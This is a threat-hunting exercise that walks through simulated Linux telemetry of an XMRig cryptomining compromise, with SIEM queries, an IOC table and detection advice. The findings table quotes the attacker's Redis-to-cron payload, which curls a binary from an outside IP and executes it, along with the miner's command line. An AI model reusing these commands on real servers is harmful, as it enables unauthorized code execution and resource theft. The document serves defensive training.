Threat Hunting Exercise: Analyzing Linux XMRig Cryptomining Malware Dataset

This hunt uses a simulated Linux host telemetry dataset (linux_auditd_xmrig_2022-10-05T060000.json) capturing T1496: Resource Hijacking, where an attacker who gained access via an exposed service (e.g., an unpatched Redis or Jenkins instance) drops and executes the XMRig Monero cryptomining binary, consuming CPU resources and connecting to a mining pool.

Step 1: Hypothesis Formation

Hypothesis: A newly-written, unsigned binary is executed with command-line arguments referencing a mining pool URL (pool., stratum+tcp://), a wallet address, and CPU-thread-limiting flags, sustaining near-100% CPU utilization on multiple cores indefinitely - indicating unauthorized cryptomining rather than legitimate compute-intensive work. Indicators:

Process command line containing stratum+tcp://, -o pool.*, --donate-level, or a recognizable XMRig-style argument set.
Sustained CPU utilization near 100% on a process with no corresponding business justification or change ticket.
Outbound TCP connection to a known mining-pool port (3333, 5555, 14444) or domain pattern.
The binary was written to disk moments before execution, often in /tmp, /var/tmp, or a web-application's writable directory, and frequently renamed to mimic a legitimate system process (e.g., kworker, systemd-helper).

Null Hypothesis: A data-science or batch-processing job is legitimately consuming high CPU as part of an approved workload (e.g., a nightly ETL or ML training job). Invalidate by confirming the process against the job scheduler and its command line against known data-processing tooling, not mining-pool syntax.

Rationale: Cryptomining is often deprioritized as "just resource abuse," but its presence is a definitive indicator of unauthorized code execution and frequently co-occurs with or precedes more damaging follow-on activity (credential theft, lateral movement) once the initial foothold is proven reliable.

Step 2: Data Sources and Scope

Sources: auditd EXECVE records; /proc CPU accounting; network flow logs; process-name/masquerading checks.
Scope: ~2022-10-05T06:00:00-06:30:00 UTC; Host: srv-cache-03 (10.110.2.9); Initial access: exposed Redis instance (port 6379, no auth).
SIEM Queries (Splunk/ELK):
index=linux sourcetype=auditd type=EXECVE CommandLine="stratum+tcp"
CPU anomaly: index=os_metrics host="srv-cache-03" cpu_pct>95 | stats avg(cpu_pct) by process_name span=5m
Mining pool network: index=netflow dest_port IN (3333,5555,14444,45700)

Step 3: Key Findings

Parsed events (5 shown) confirm an attacker exploited an unauthenticated Redis instance to write a cron job that downloaded and executed a renamed XMRig binary, which then pinned all 8 CPU cores and connected to a public mining pool.

Timestamp (UTC)	Host	Event	Detail	IOC/Why Suspicious?
2022-10-05 06:04:12	srv-cache-03	Redis log	`CONFIG SET dir /var/spool/cron/` followed by `SET x " * curl -s http://185.220.101.7/x86 -o /tmp/kworker; chmod +x /tmp/kworker; /tmp/kworker"` written via unauthenticated Redis `SAVE` primitive	Initial-Access IOC: this is the well-documented Redis-to-cron-job exploitation technique used to gain code execution on unauthenticated Redis instances.
2022-10-05 06:05:01	srv-cache-03	auditd EXECVE	`/tmp/kworker -o stratum+tcp://pool.minexmr.com:4444 -u 4AeUR...wallet -p x --donate-level=1 --cpu-max-threads-hint=90`	Mining-Signature IOC: the command line is an unambiguous XMRig invocation, including a Monero wallet address and stratum pool URL.
2022-10-05 06:05:03	srv-cache-03	(CPU metrics)	`/tmp/kworker` process sustains 780% CPU (8 cores) continuously	Resource-Hijack IOC: sustained near-total CPU consumption on a process with a masqueraded system-process name (`kworker` mimics a legitimate Linux kernel worker thread naming convention).
2022-10-05 06:05:04	srv-cache-03	Network flow	Outbound connection to pool.minexmr.com:4444, sustained for the observation window with steady low-bandwidth stratum protocol traffic	C2/Pool IOC: connection pattern (persistent, low-bandwidth, fixed port) matches known cryptomining pool communication rather than any legitimate application traffic.
-	srv-cache-03	(binary provenance)	`/tmp/kworker` is not the genuine kernel worker thread (which is never a userspace binary in `/tmp`); file hash matches public XMRig release builds	Confirms the process-name masquerade and definitively identifies the binary as XMRig.

Validation:

Timeline: unauthenticated Redis exploitation → cron-based payload download → XMRig execution with pool connection → sustained resource hijacking - a complete and well-documented cryptojacking chain.
False Positives: no data-processing job scheduler entry or business justification exists for this CPU load, and the command-line syntax is unambiguous mining tooling.
Correlation: initial-access vector, mining command-line signature, resource consumption, and network destination jointly confirm unauthorized cryptomining.

Step 4: Recommendations & Next Steps

Immediate Response: Kill the kworker (XMRig) process, remove the malicious cron entry, enable Redis authentication (requirepass) and bind it to localhost/internal interfaces only, block pool.minexmr.com and the payload-hosting IP at the perimeter, and audit the host for any additional implants dropped during the compromise window.
Detection: Sigma-style rule: title: XMRig Cryptomining Command-Line Signature → selection: CommandLine contains 'stratum+tcp' OR CommandLine contains '--donate-level' → condition: selection.
Pro Tip: Alert on any process sustaining >90% CPU for more than 10 continuous minutes on a server class host with no corresponding scheduled-job entry - this simple resource-anomaly baseline catches cryptominers regardless of binary name, hash, or C2 domain, all of which change frequently across campaigns.

Hypothesis confirmed - an attacker exploited an unauthenticated Redis instance to plant a cron job downloading a masqueraded XMRig binary, hijacking all 8 CPU cores to mine Monero for a public pool!